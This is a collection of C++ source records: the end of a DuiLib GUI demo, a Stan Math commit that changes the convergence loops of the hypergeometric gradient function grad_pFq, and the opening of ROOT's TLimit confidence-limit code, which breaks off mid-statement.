OnSize(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_GETMINMAXINFO: lRes = OnGetMinMaxInfo(uMsg, wParam, lParam, bHandled); break;\r\n\t\tcase WM_SYSCOMMAND: lRes = OnSysCommand(uMsg, wParam, lParam, bHandled); break;\r\n\t\tdefault:\r\n\t\tbHandled = FALSE;\r\n\t\t}\r\n\t\tif( bHandled ) return lRes;\r\n\t\tif( m_pm.MessageHandler(uMsg, wParam, lParam, lRes) ) return lRes;\r\n\t\treturn CWindowWnd::HandleMessage(uMsg, wParam, lParam);\r\n\t}\r\n\r\npublic:\r\n\tCPaintManagerUI m_pm;\r\n\r\nprivate:\r\n\tCButtonUI* m_pCloseBtn;\r\n\tCButtonUI* m_pMaxBtn;\r\n\tCButtonUI* m_pRestoreBtn;\r\n\tCButtonUI* m_pMinBtn;\r\n\t\/\/...\r\n};\r\n\r\n\r\nint APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE \/*hPrevInstance*\/, LPSTR \/*lpCmdLine*\/, int nCmdShow)\r\n{\r\n\tCPaintManagerUI::SetInstance(hInstance);\r\n\tCPaintManagerUI::SetResourcePath(CPaintManagerUI::GetInstancePath() + _T(\"skin\"));\r\n\tCPaintManagerUI::SetResourceZip(_T(\"360SafeRes.zip\"));\r\n\r\n\tHRESULT Hr = ::CoInitialize(NULL);\r\n\tif( FAILED(Hr) ) return 0;\r\n\r\n\tC360SafeFrameWnd* pFrame = new C360SafeFrameWnd();\r\n\tif( pFrame == NULL ) return 0;\r\n\tpFrame->Create(NULL, _T(\"360ȫʿ\"), UI_WNDSTYLE_FRAME, 0L, 0, 0, 800, 572);\r\n\tpFrame->CenterWindow();\r\n\t::ShowWindow(*pFrame, SW_SHOW);\r\n\r\n\tCPaintManagerUI::MessageLoop();\r\n\r\n\t::CoUninitialize();\r\n\treturn 0;\r\n}<|endoftext|>"} {"text":"<commit_before>#ifndef STAN_MATH_PRIM_FUN_GRAD_PFQ_HPP\n#define STAN_MATH_PRIM_FUN_GRAD_PFQ_HPP\n\n#include <stan\/math\/prim\/meta.hpp>\n#include <stan\/math\/prim\/err.hpp>\n#include <stan\/math\/prim\/fun\/constants.hpp>\n#include <stan\/math\/prim\/fun\/exp.hpp>\n#include <stan\/math\/prim\/fun\/log.hpp>\n#include <stan\/math\/prim\/fun\/log_rising_factorial.hpp>\n#include <stan\/math\/prim\/fun\/hypergeometric_pFq.hpp>\n#include <stan\/math\/prim\/fun\/max.hpp>\n#include <stan\/math\/prim\/fun\/log_sum_exp.hpp>\n#include <cmath>\n\nnamespace stan {\nnamespace math {\nnamespace internal {\n\n\/**\n * Returns the gradient of generalised hypergeometric function wrt to the\n * input arguments:\n * \\f$ _pF_q(a_1,...,a_p;b_1,...,b_q;z) \\f$\n *\n * The derivatives wrt a and b are defined using a Kampé de Fériet function,\n * (https:\/\/en.wikipedia.org\/wiki\/Kamp%C3%A9_de_F%C3%A9riet_function).\n * This is implemented below as an infinite sum (on the log scale) until\n * convergence.\n *\n * \\f$ \\frac{\\partial}{\\partial a_1} =\n * \\frac{z\\prod_{j=2}^pa_j}{\\prod_{j=1}^qb_j}\n * F_{q+1\\:0\\;1}^{p\\:1\\:2}\\left(\\begin{array}&a_1+1,...,a_p+1;1;1,a_1\\\\\n * 2, b_1+1,...,b_1+1;;a_1+1\\end{array};z,z\\right) \\f$\n *\n * \\f$ \\frac{\\partial}{\\partial b_1}=\n * -\\frac{z\\prod_{j=1}^pa_j}{b_1\\prod_{j=1}^qb_j}\n * F_{q+1\\:0\\;1}^{p\\:1\\:2}\\left(\\begin{array}&a_1+1,...,a_p+1;1;1,b_1\\\\\n * 2, b_1+1,...,b_1+1;;b_1+1\\end{array};z,z\\right) \\f$\n *\n * \\f$ \\frac{\\partial}{\\partial z}= \\frac{\\prod_{j=1}^pa_j}{\\prod_{j=1}^qb_j}\n * {}_pF_q(a_1 + 1,...,a_p + 1; b_1 +1,...,b_q+1;z) \\f$\n *\n * @tparam calc_a Boolean for whether to calculate derivatives wrt to 'a'\n * @tparam calc_b Boolean for whether to calculate derivatives wrt to 'b'\n * @tparam calc_z Boolean for whether to calculate derivatives wrt to 'z'\n * @tparam TupleT Type of tuple containing objects to evaluate gradients into\n * @tparam Ta Eigen type with either one row or column at compile time\n * @tparam Tb Eigen type with either one row or column at compile time\n * @tparam Tz Scalar type\n * @param[in] grad_tuple Tuple of references to evaluate gradients into\n * @param[in] a Vector of 'a' arguments to function\n * @param[in] b Vector of 'b' arguments to function\n * @param[in] z Scalar z argument\n * @param[in] precision Convergence criteria for infinite sum\n * @param[in] max_steps Maximum number of iterations for infinite sum\n * @return Generalised hypergeometric function\n *\/\ntemplate <bool calc_a, bool calc_b, bool calc_z, typename TupleT, typename Ta,\n typename Tb, typename Tz,\n require_all_eigen_vector_t<Ta, Tb>* = nullptr,\n require_stan_scalar_t<Tz>* = nullptr>\nvoid grad_pFq_impl(TupleT&& grad_tuple, const Ta& a, const Tb& b, const Tz& z,\n double precision, int max_steps) {\n using std::max;\n using scalar_t = return_type_t<Ta, Tb, Tz>;\n using Ta_plain = plain_type_t<Ta>;\n using Tb_plain = plain_type_t<Tb>;\n using T_vec = Eigen::Matrix<scalar_t, -1, 1>;\n\n Ta_plain ap1 = (a.array() + 1).matrix();\n Tb_plain bp1 = (b.array() + 1).matrix();\n Ta_plain log_a = log(a);\n Tb_plain log_b = log(b);\n scalar_type_t<Tz> log_z = log(z);\n scalar_type_t<Ta> sum_log_a = sum(log_a);\n scalar_type_t<Tb> sum_log_b = sum(log_b);\n\n \/\/ Declare vectors to accumulate sums into\n \/\/ where NEGATIVE_INFTY is zero on the log scale\n T_vec da_infsum = T_vec::Constant(a.size(), NEGATIVE_INFTY);\n T_vec db_infsum = T_vec::Constant(b.size(), NEGATIVE_INFTY);\n \/\/ Vectors to accumulate outer sum into\n T_vec da_iter_m = T_vec::Constant(a.size(), NEGATIVE_INFTY);\n T_vec da_mn = T_vec::Constant(a.size(), NEGATIVE_INFTY);\n T_vec db_iter_m = T_vec::Constant(b.size(), NEGATIVE_INFTY);\n T_vec db_mn = T_vec::Constant(b.size(), NEGATIVE_INFTY);\n\n \/\/ Only need the infinite sum for partials wrt p & b\n if (calc_a || calc_b) {\n double log_precision = log(precision);\n\n int m = 0;\n scalar_t outer_diff = 0;\n\n da_infsum.setConstant(NEGATIVE_INFTY);\n db_infsum.setConstant(NEGATIVE_INFTY);\n\n while ((outer_diff > log_precision) && (m < max_steps)) {\n \/\/ Vectors to accumulate outer sum into\n da_iter_m.setConstant(NEGATIVE_INFTY);\n da_mn.setConstant(NEGATIVE_INFTY);\n db_iter_m.setConstant(NEGATIVE_INFTY);\n db_mn.setConstant(NEGATIVE_INFTY);\n\n double log_phammer_1m = log_rising_factorial(1, m);\n double lgamma_mp1 = lgamma(m + 1);\n\n int n = 0;\n scalar_t inner_diff = 0;\n\n while ((inner_diff > log_precision) & (n < max_steps)) {\n \/\/ Numerator term\n scalar_t term1_mn = (m + n) * log_z\n + sum(log_rising_factorial(ap1, m + n))\n + log_phammer_1m + log_rising_factorial(1, n);\n \/\/ Denominator term\n scalar_t term2_mn = lgamma_mp1 + lgamma(n + 1)\n + sum(log_rising_factorial(bp1, m + n))\n + log_rising_factorial(2, m + n);\n if (calc_a) {\n \/\/ Division (on log scale) for the a & b partials\n da_mn = (term1_mn + log_rising_factorial(a, n).array())\n - (term2_mn + log_rising_factorial(ap1, n).array());\n\n \/\/ Perform a row-wise log_sum_exp to accumulate current iteration\n da_iter_m = da_iter_m.binaryExpr(\n da_mn, [&](auto& a, auto& b) { return log_sum_exp(a, b); });\n }\n if (calc_b) {\n db_mn = (term1_mn + log_rising_factorial(b, n).array())\n - (term2_mn + log_rising_factorial(bp1, n).array());\n db_iter_m = db_iter_m.binaryExpr(\n db_mn, [&](auto& a, auto& b) { return log_sum_exp(a, b); });\n }\n\n \/\/ Series convergence assessed by whether the sum of all terms is\n \/\/ smaller than the specified criteria (precision)\n inner_diff = max(log_sum_exp(da_mn), log_sum_exp(db_mn));\n n += 1;\n }\n if (calc_a) {\n \/\/ Accumulate sums once the inner loop for the current iteration has\n \/\/ converged\n da_infsum = da_infsum.binaryExpr(\n da_iter_m, [&](auto& a, auto& b) { return log_sum_exp(a, b); });\n }\n if (calc_b) {\n db_infsum = db_infsum.binaryExpr(\n db_iter_m, [&](auto& a, auto& b) { return log_sum_exp(a, b); });\n }\n\n \/\/ Assess convergence of outer loop\n outer_diff = max(log_sum_exp(da_iter_m), log_sum_exp(db_iter_m));\n m += 1;\n }\n if (m == max_steps) {\n throw_domain_error(\"grad_pFq\", \"k (internal counter)\", max_steps,\n \"exceeded \",\n \" iterations, hypergeometric function gradient \"\n \"did not converge.\");\n }\n\n if (calc_a) {\n \/\/ Workaround to construct vector where each element is the product of\n \/\/ all other elements\n Eigen::VectorXi ind_vector\n = Eigen::VectorXi::LinSpaced(a.size(), 0, a.size() - 1);\n\n Ta_plain prod_excl_curr = ind_vector.unaryExpr(\n [&log_a, &sum_log_a](int i) { return sum_log_a - log_a[i]; });\n T_vec pre_mult_a = (log_z + prod_excl_curr.array() - sum_log_b).matrix();\n\n \/\/ Evaluate gradients into provided containers\n std::get<0>(grad_tuple) = exp(pre_mult_a + da_infsum);\n }\n\n if (calc_b) {\n T_vec pre_mult_b = (log_z + sum_log_a) - (log_b.array() + sum_log_b);\n std::get<1>(grad_tuple) = -exp(pre_mult_b + db_infsum);\n }\n }\n\n if (calc_z) {\n std::get<2>(grad_tuple)\n = exp(sum_log_a - sum_log_b) * hypergeometric_pFq(ap1, bp1, z);\n }\n}\n} \/\/ namespace internal\n\n\/**\n * Wrapper function for calculating gradients for the generalized\n * hypergeometric function. The function always returns a tuple with\n * three elements (gradients wrt a, b, and z, respectively), but the\n * elements will only be defined\/calculated when the respective parameter\n * is not a primitive type.\n *\n * @tparam Ta Eigen type with either one row or column at compile time\n * @tparam Tb Eigen type with either one row or column at compile time\n * @tparam Tz Scalar type\n * @param[in] a Vector of 'a' arguments to function\n * @param[in] b Vector of 'b' arguments to function\n * @param[in] z Scalar z argument\n * @param[in] precision Convergence criteria for infinite sum\n * @param[in] max_steps Maximum number of iterations for infinite sum\n * @return Tuple of gradients\n *\/\ntemplate <typename Ta, typename Tb, typename Tz>\nauto grad_pFq(const Ta& a, const Tb& b, const Tz& z, double precision = 1e-14,\n int max_steps = 1e6) {\n using partials_t = partials_return_t<Ta, Tb, Tz>;\n std::tuple<promote_scalar_t<partials_t, plain_type_t<Ta>>,\n promote_scalar_t<partials_t, plain_type_t<Tb>>,\n promote_scalar_t<partials_t, plain_type_t<Tz>>>\n ret_tuple;\n internal::grad_pFq_impl<!is_constant<Ta>::value, !is_constant<Tb>::value,\n !is_constant<Tz>::value>(\n ret_tuple, value_of(a), value_of(b), value_of(z), precision, max_steps);\n return ret_tuple;\n}\n\n} \/\/ namespace math\n} \/\/ namespace stan\n#endif\n<commit_msg>Construct lgamma and log_factorial iteratively & loosen inner convergence criteria<commit_after>#ifndef STAN_MATH_PRIM_FUN_GRAD_PFQ_HPP\n#define STAN_MATH_PRIM_FUN_GRAD_PFQ_HPP\n\n#include <stan\/math\/prim\/meta.hpp>\n#include <stan\/math\/prim\/err.hpp>\n#include <stan\/math\/prim\/fun\/constants.hpp>\n#include <stan\/math\/prim\/fun\/exp.hpp>\n#include <stan\/math\/prim\/fun\/log.hpp>\n#include <stan\/math\/prim\/fun\/log_rising_factorial.hpp>\n#include <stan\/math\/prim\/fun\/hypergeometric_pFq.hpp>\n#include <stan\/math\/prim\/fun\/max.hpp>\n#include <stan\/math\/prim\/fun\/log_sum_exp.hpp>\n#include <cmath>\n\nnamespace stan {\nnamespace math {\nnamespace internal {\n\n\/**\n * Returns the gradient of generalised hypergeometric function wrt to the\n * input arguments:\n * \\f$ _pF_q(a_1,...,a_p;b_1,...,b_q;z) \\f$\n *\n * The derivatives wrt a and b are defined using a Kampé de Fériet function,\n * (https:\/\/en.wikipedia.org\/wiki\/Kamp%C3%A9_de_F%C3%A9riet_function).\n * This is implemented below as an infinite sum (on the log scale) until\n * convergence.\n *\n * \\f$ \\frac{\\partial}{\\partial a_1} =\n * \\frac{z\\prod_{j=2}^pa_j}{\\prod_{j=1}^qb_j}\n * F_{q+1\\:0\\;1}^{p\\:1\\:2}\\left(\\begin{array}&a_1+1,...,a_p+1;1;1,a_1\\\\\n * 2, b_1+1,...,b_1+1;;a_1+1\\end{array};z,z\\right) \\f$\n *\n * \\f$ \\frac{\\partial}{\\partial b_1}=\n * -\\frac{z\\prod_{j=1}^pa_j}{b_1\\prod_{j=1}^qb_j}\n * F_{q+1\\:0\\;1}^{p\\:1\\:2}\\left(\\begin{array}&a_1+1,...,a_p+1;1;1,b_1\\\\\n * 2, b_1+1,...,b_1+1;;b_1+1\\end{array};z,z\\right) \\f$\n *\n * \\f$ \\frac{\\partial}{\\partial z}= \\frac{\\prod_{j=1}^pa_j}{\\prod_{j=1}^qb_j}\n * {}_pF_q(a_1 + 1,...,a_p + 1; b_1 +1,...,b_q+1;z) \\f$\n *\n * @tparam calc_a Boolean for whether to calculate derivatives wrt to 'a'\n * @tparam calc_b Boolean for whether to calculate derivatives wrt to 'b'\n * @tparam calc_z Boolean for whether to calculate derivatives wrt to 'z'\n * @tparam TupleT Type of tuple containing objects to evaluate gradients into\n * @tparam Ta Eigen type with either one row or column at compile time\n * @tparam Tb Eigen type with either one row or column at compile time\n * @tparam Tz Scalar type\n * @param[in] grad_tuple Tuple of references to evaluate gradients into\n * @param[in] a Vector of 'a' arguments to function\n * @param[in] b Vector of 'b' arguments to function\n * @param[in] z Scalar z argument\n * @param[in] precision Convergence criteria for infinite sum\n * @param[in] max_steps Maximum number of iterations for infinite sum\n * @return Generalised hypergeometric function\n *\/\ntemplate <bool calc_a, bool calc_b, bool calc_z, typename TupleT, typename Ta,\n typename Tb, typename Tz,\n require_all_eigen_vector_t<Ta, Tb>* = nullptr,\n require_stan_scalar_t<Tz>* = nullptr>\nvoid grad_pFq_impl(TupleT&& grad_tuple, const Ta& a, const Tb& b, const Tz& z,\n double precision, int max_steps) {\n using std::max;\n using scalar_t = return_type_t<Ta, Tb, Tz>;\n using Ta_plain = plain_type_t<Ta>;\n using Tb_plain = plain_type_t<Tb>;\n using T_vec = Eigen::Matrix<scalar_t, -1, 1>;\n\n Ta_plain ap1 = (a.array() + 1).matrix();\n Tb_plain bp1 = (b.array() + 1).matrix();\n Ta_plain log_a = log(a);\n Tb_plain log_b = log(b);\n scalar_type_t<Tz> log_z = log(z);\n scalar_type_t<Ta> sum_log_a = sum(log_a);\n scalar_type_t<Tb> sum_log_b = sum(log_b);\n\n \/\/ Declare vectors to accumulate sums into\n \/\/ where NEGATIVE_INFTY is zero on the log scale\n T_vec da_infsum = T_vec::Constant(a.size(), NEGATIVE_INFTY);\n T_vec db_infsum = T_vec::Constant(b.size(), NEGATIVE_INFTY);\n \/\/ Vectors to accumulate outer sum into\n T_vec da_iter_m = T_vec::Constant(a.size(), NEGATIVE_INFTY);\n T_vec da_mn = T_vec::Constant(a.size(), NEGATIVE_INFTY);\n T_vec db_iter_m = T_vec::Constant(b.size(), NEGATIVE_INFTY);\n T_vec db_mn = T_vec::Constant(b.size(), NEGATIVE_INFTY);\n\n \/\/ Only need the infinite sum for partials wrt p & b\n if (calc_a || calc_b) {\n double outer_precision = log(precision);\n double inner_precision = log(precision) - LOG_TWO;\n\n int m = 0;\n scalar_t outer_diff = 0;\n\n da_infsum.setConstant(NEGATIVE_INFTY);\n db_infsum.setConstant(NEGATIVE_INFTY);\n\n double lgamma_mp1 = 0;\n double log_phammer_1m = 0;\n double log_phammer_2m = 0;\n Ta_plain log_phammer_ap1_m = Ta_plain::Zero(ap1.size());\n Tb_plain log_phammer_bp1_m = Tb_plain::Zero(bp1.size());\n\n double log_phammer_1n;\n double log_phammer_2_mpn;\n double lgamma_np1;\n Ta_plain log_phammer_an(a.size());\n Ta_plain log_phammer_ap1_n(a.size());\n Ta_plain log_phammer_bp1_n(b.size());\n Tb_plain log_phammer_bn(b.size());\n Ta_plain log_phammer_ap1_mpn(a.size());\n Tb_plain log_phammer_bp1_mpn(b.size());\n\n while ((outer_diff > outer_precision) && (m < max_steps)) {\n \/\/ Vectors to accumulate outer sum into\n da_iter_m.setConstant(NEGATIVE_INFTY);\n da_mn.setConstant(NEGATIVE_INFTY);\n db_iter_m.setConstant(NEGATIVE_INFTY);\n db_mn.setConstant(NEGATIVE_INFTY);\n\n int n = 0;\n scalar_t inner_diff = 0;\n lgamma_np1 = 0;\n\n log_phammer_1n = 0;\n log_phammer_an.setZero();\n log_phammer_ap1_n.setZero();\n log_phammer_bp1_n.setZero();\n log_phammer_bn.setZero();\n log_phammer_ap1_mpn = log_phammer_ap1_m;\n log_phammer_bp1_mpn = log_phammer_bp1_m;\n log_phammer_2_mpn = log_phammer_2m;\n\n while ((inner_diff > inner_precision) & (n < (max_steps \/ 2))) {\n \/\/ Numerator term\n scalar_t term1_mn = (m + n) * log_z + sum(log_phammer_ap1_mpn)\n + log_phammer_1m + log_phammer_1n;\n \/\/ Denominator term\n scalar_t term2_mn = lgamma_mp1 + lgamma_np1 + sum(log_phammer_bp1_mpn)\n + log_phammer_2_mpn;\n if (calc_a) {\n \/\/ Division (on log scale) for the a & b partials\n da_mn = (term1_mn + log_phammer_an.array())\n - (term2_mn + log_phammer_ap1_n.array());\n\n \/\/ Perform a row-wise log_sum_exp to accumulate current iteration\n da_iter_m = da_iter_m.binaryExpr(\n da_mn, [&](auto& a, auto& b) { return log_sum_exp(a, b); });\n }\n if (calc_b) {\n db_mn = (term1_mn + log_phammer_bn.array())\n - (term2_mn + log_phammer_bp1_n.array());\n db_iter_m = db_iter_m.binaryExpr(\n db_mn, [&](auto& a, auto& b) { return log_sum_exp(a, b); });\n }\n\n \/\/ Series convergence assessed by whether the sum of all terms is\n \/\/ smaller than the specified criteria (precision)\n inner_diff = max(log_sum_exp(da_mn), log_sum_exp(db_mn));\n\n log_phammer_1n += log1p(n);\n log_phammer_2_mpn += log1p(1 + m + n);\n log_phammer_ap1_n.array() += log(ap1.array() + n);\n log_phammer_bp1_n.array() += log(bp1.array() + n);\n log_phammer_an.array() += log(a.array() + n);\n log_phammer_bn.array() += log(b.array() + n);\n log_phammer_ap1_mpn.array() += log(ap1.array() + m + n);\n log_phammer_bp1_mpn.array() += log(bp1.array() + m + n);\n n += 1;\n lgamma_np1 += log(n);\n }\n if (calc_a) {\n \/\/ Accumulate sums once the inner loop for the current iteration has\n \/\/ converged\n da_infsum = da_infsum.binaryExpr(\n da_iter_m, [&](auto& a, auto& b) { return log_sum_exp(a, b); });\n }\n if (calc_b) {\n db_infsum = db_infsum.binaryExpr(\n db_iter_m, [&](auto& a, auto& b) { return log_sum_exp(a, b); });\n }\n\n \/\/ Assess convergence of outer loop\n outer_diff = max(log_sum_exp(da_iter_m), log_sum_exp(db_iter_m));\n\n log_phammer_1m += log1p(m);\n log_phammer_2m += log1p(1 + m);\n log_phammer_ap1_m.array() += log(ap1.array() + m);\n log_phammer_bp1_m.array() += log(bp1.array() + m);\n\n m += 1;\n\n lgamma_mp1 += log(m);\n }\n if (m == max_steps) {\n throw_domain_error(\"grad_pFq\", \"k (internal counter)\", max_steps,\n \"exceeded \",\n \" iterations, hypergeometric function gradient \"\n \"did not converge.\");\n }\n\n if (calc_a) {\n \/\/ Workaround to construct vector where each element is the product of\n \/\/ all other elements\n Eigen::VectorXi ind_vector\n = Eigen::VectorXi::LinSpaced(a.size(), 0, a.size() - 1);\n\n Ta_plain prod_excl_curr = ind_vector.unaryExpr(\n [&log_a, &sum_log_a](int i) { return sum_log_a - log_a[i]; });\n T_vec pre_mult_a = (log_z + prod_excl_curr.array() - sum_log_b).matrix();\n\n \/\/ Evaluate gradients into provided containers\n std::get<0>(grad_tuple) = exp(pre_mult_a + da_infsum);\n }\n\n if (calc_b) {\n T_vec pre_mult_b = (log_z + sum_log_a) - (log_b.array() + sum_log_b);\n std::get<1>(grad_tuple) = -exp(pre_mult_b + db_infsum);\n }\n }\n\n if (calc_z) {\n std::get<2>(grad_tuple)\n = exp(sum_log_a - sum_log_b) * hypergeometric_pFq(ap1, bp1, z);\n }\n}\n} \/\/ namespace internal\n\n\/**\n * Wrapper function for calculating gradients for the generalized\n * hypergeometric function. The function always returns a tuple with\n * three elements (gradients wrt a, b, and z, respectively), but the\n * elements will only be defined\/calculated when the respective parameter\n * is not a primitive type.\n *\n * @tparam Ta Eigen type with either one row or column at compile time\n * @tparam Tb Eigen type with either one row or column at compile time\n * @tparam Tz Scalar type\n * @param[in] a Vector of 'a' arguments to function\n * @param[in] b Vector of 'b' arguments to function\n * @param[in] z Scalar z argument\n * @param[in] precision Convergence criteria for infinite sum\n * @param[in] max_steps Maximum number of iterations for infinite sum\n * @return Tuple of gradients\n *\/\ntemplate <typename Ta, typename Tb, typename Tz>\nauto grad_pFq(const Ta& a, const Tb& b, const Tz& z, double precision = 1e-10,\n int max_steps = 1e6) {\n using partials_t = partials_return_t<Ta, Tb, Tz>;\n std::tuple<promote_scalar_t<partials_t, plain_type_t<Ta>>,\n promote_scalar_t<partials_t, plain_type_t<Tb>>,\n promote_scalar_t<partials_t, plain_type_t<Tz>>>\n ret_tuple;\n internal::grad_pFq_impl<!is_constant<Ta>::value, !is_constant<Tb>::value,\n !is_constant<Tz>::value>(\n ret_tuple, value_of(a), value_of(b), value_of(z), precision, max_steps);\n return ret_tuple;\n}\n\n} \/\/ namespace math\n} \/\/ namespace stan\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ @(#)root\/hist:$Name: $:$Id: TLimit.cxx,v 1.2 2002\/09\/06 20:24:18 brun Exp $\n\/\/ Author: Christophe.Delaere@cern.ch 21\/08\/2002\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ TLimit\n\/\/\n\/\/ Class to compute 95% CL limits\n\/\/ \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/*************************************************************************\n * C.Delaere *\n * adapted from the mclimit code from Tom Junk *\n * see http:\/\/cern.ch\/thomasj\/searchlimits\/ecl.html *\n *************************************************************************\/\n\n#include \"TLimit.h\"\n#include \"TArrayF.h\"\n#include \"TOrdCollection.h\"\n#include \"TConfidenceLevel.h\"\n#include \"TLimitDataSource.h\"\n#include \"TRandom3.h\"\n#include \"TH1.h\"\n#include \"TObjArray.h\"\n#include \"TMath.h\"\n#include \"TIterator.h\"\n#include \"TObjString.h\"\n#include \"TClassTable.h\"\n#include \"Riostream.h\"\n\nClassImp(TLimit)\n\nTArrayF *TLimit::fgTable = new TArrayF(0);\nTOrdCollection *TLimit::fgSystNames = new TOrdCollection();\n\nTConfidenceLevel *TLimit::ComputeLimit(TLimitDataSource * data,\n Int_t nmc, TRandom * generator,\n Double_t(*statistic) (Double_t,\n Double_t,\n Double_t))\n{\n \/\/ class TLimit\n \/\/ ------------ \n \/\/ \n \/\/ Algorithm to compute 95% C.L. limits using the Likelihood ratio\n \/\/ semi-bayesian method.\n \/\/ It takes signal, background and data histograms wrapped in a\n \/\/ TLimitDataSource as input and runs a set of Monte Carlo experiments in\n \/\/ order to compute the limits. If needed, inputs are fluctuated according\n \/\/ to systematics. The output is a TConfidenceLevel.\n \/\/ \n \/\/ class TLimitDataSource \n \/\/ ----------------------\n \/\/ \n \/\/ Takes the signal, background and data histograms as well as different\n \/\/ systematics sources to form the TLimit input. \n \/\/ \n \/\/ class TConfidenceLevel \n \/\/ ----------------------\n \/\/ \n \/\/ Final result of the TLimit algorithm. It is created just after the\n \/\/ time-consuming part and can be stored in a TFile for further processing.\n \/\/ It contains light methods to return CLs, CLb and other interesting\n \/\/ quantities. \n \/\/ \n \/\/ The actual algorithm...\n \/\/ From an input (TLimitDataSource) it produces an output TConfidenceLevel.\n \/\/ For this, nmc Monte Carlo experiments are performed.\n \/\/ As usual, the larger this number, the longer the compute time, \n \/\/ but the better the result.\n \/\/Begin_Html\n \/*\n <FONT SIZE=+0>\n <p>Supposing that there is a plotfile.root file containing 3 histograms \n (signal, background and data), you can imagine doing things like:<\/p>\n <p>\n <BLOCKQUOTE><PRE>\n TFile* infile=new TFile(\"plotfile.root\",\"READ\");\n infile->cd();\n TH1F* sh=(TH1F*)infile->Get(\"signal\");\n TH1F* bh=(TH1F*)infile->Get(\"background\");\n TH1F* dh=(TH1F*)infile->Get(\"data\");\n TLimitDataSource* mydatasource = new TLimitDataSource(sh,bh,dh);\n TConfidenceLevel *myconfidence = TLimit::ComputeLimit(mydatasource,50000);\n cout << \" CLs : \" << myconfidence->CLs() << endl;\n cout << \" CLsb : \" << myconfidence->CLsb() << endl;\n cout << \" CLb : \" << myconfidence->CLb() << endl;\n cout << \"< CLs > : \" << myconfidence->GetExpectedCLs_b() << endl;\n cout << \"< CLsb > : \" << myconfidence->GetExpectedCLsb_b() << endl;\n cout << \"< CLb > : \" << myconfidence->GetExpectedCLb_b() << endl;\n delete myconfidence;\n delete mydatasource;\n infile->Close();\n <\/PRE><\/BLOCKQUOTE><\/p>\n <p><\/p>\n <p>More informations can still be found on \n <a HREF=\"http:\/\/cern.ch\/aleph-proj-alphapp\/doc\/tlimit.html\">this<\/a> page.<\/p>\n <\/FONT>\n *\/\n \/\/End_Html\n\n \/\/ The final object returned...\n TConfidenceLevel *result = new TConfidenceLevel(nmc);\n \/\/ The random generator used...\n TRandom *myrandom = generator ? generator : new TRandom3;\n \/\/ Compute some total quantities on all the channels\n Int_t nbins = 0;\n Int_t maxbins = 0;\n Double_t nsig = 0;\n Double_t nbg = 0;\n Int_t ncand = 0;\n Int_t i;\n for (i = 0; i <= data->GetSignal()->GetLast(); i++) {\n nbins += ((TH1F *) (data->GetSignal()->At(i)))->GetNbinsX();\n maxbins = ((TH1F *) (data->GetSignal()->At(i)))->GetNbinsX() > maxbins ? \n\t ((TH1F *) (data->GetSignal()->At(i)))->GetNbinsX() + 1 : maxbins;\n nsig += ((TH1F *) (data->GetSignal()->At(i)))->Integral();\n nbg += ((TH1F *) (data->GetBackground()->At(i)))->Integral();\n ncand += (Int_t) ((TH1F *) (data->GetCandidates()->At(i)))->Integral();\n }\n result->SetBtot(nbg);\n result->SetStot(nsig);\n result->SetDtot(ncand);\n Double_t buffer = 0;\n fgTable->Set(maxbins * (data->GetSignal()->GetLast() + 1));\n for (Int_t channel = 0; channel <= data->GetSignal()->GetLast(); channel++)\n for (Int_t bin = 0;\n bin <= ((TH1F *) (data->GetSignal()->At(channel)))->GetNbinsX();\n bin++) {\n Double_t s = (Double_t) ((TH1F *) (data->GetSignal()->At(channel)))->GetBinContent(bin);\n Double_t b = (Double_t) ((TH1F *) (data->GetBackground()->At(channel)))->GetBinContent(bin);\n Double_t d = (Double_t) ((TH1F *) (data->GetCandidates()->At(channel)))->GetBinContent(bin);\n \/\/ Compute the value of the \"-2lnQ\" for the actual data\n if ((b == 0) && (s > 0)) {\n cout << \"WARNING: Ignoring bin \" << bin << \" of channel \" \n << channel << \" which has s=\" << s << \" but b=\" << b << endl;\n cout << \" Maybe the MC statistic has to be improved...\" << endl;\n }\n if ((s > 0) && (b > 0))\n buffer += statistic(s, b, d);\n \/\/ precompute the log(1+s\/b)'s in an array to speed up computation\n \/\/ background-free bins are set to have a maximum t.s. value\n \/\/ for protection (corresponding to s\/b of about 5E8)\n if ((s > 0) && (b > 0))\n fgTable->AddAt(statistic(s, b, 1), (channel * maxbins) + bin);\n else if ((s > 0) && (b == 0))\n fgTable->AddAt(20, (channel * maxbins) + bin);\n }\n result->SetTSD(buffer);\n \/\/ accumulate MC experiments. Hold the test statistic function fixed, but\n \/\/ fluctuate s and b within syst. errors for computing probabilities of\n \/\/ having that outcome. (Alex Read's prescription -- errors are on the ensemble,\n \/\/ not on the observed test statistic. This technique does not split outcomes.)\n \/\/ keep the tstats as sum log(1+s\/b). convert to -2lnQ when preparing the results\n \/\/ (reason -- like to keep the < signs right)\n Double_t *tss = new Double_t[nmc];\n Double_t *tsb = new Double_t[nmc];\n Double_t *lrs = new Double_t[nmc];\n Double_t *lrb = new Double_t[nmc];\n for (i = 0; i < nmc; i++) {\n tss[i] = 0;\n tsb[i] = 0;\n lrs[i] = 0;\n lrb[i] = 0;\n \/\/ fluctuate signal and background\n TLimitDataSource *fluctuated = Fluctuate(data, !i, myrandom);\n for (Int_t channel = 0;\n channel <= fluctuated->GetSignal()->GetLast(); channel++) {\n for (Int_t bin = 0;\n bin <=((TH1F *) (fluctuated->GetSignal()->At(channel)))->GetNbinsX(); \n bin++) {\n if ((Double_t) ((TH1F *) (fluctuated->GetSignal()->At(channel)))->GetBinContent(bin) != 0) {\n \/\/ s+b hypothesis\n Double_t rate = (Double_t) ((TH1F *) (fluctuated->GetSignal()->At(channel)))->GetBinContent(bin) +\n (Double_t) ((TH1F *) (fluctuated->GetBackground()->At(channel)))->GetBinContent(bin);\n Double_t rand = myrandom->Poisson(rate);\n tss[i] += rand * fgTable->At((channel * maxbins) + bin);\n Double_t s = (Double_t) ((TH1F *) (fluctuated->GetSignal()->At(channel)))->GetBinContent(bin);\n Double_t b = (Double_t) ((TH1F *) 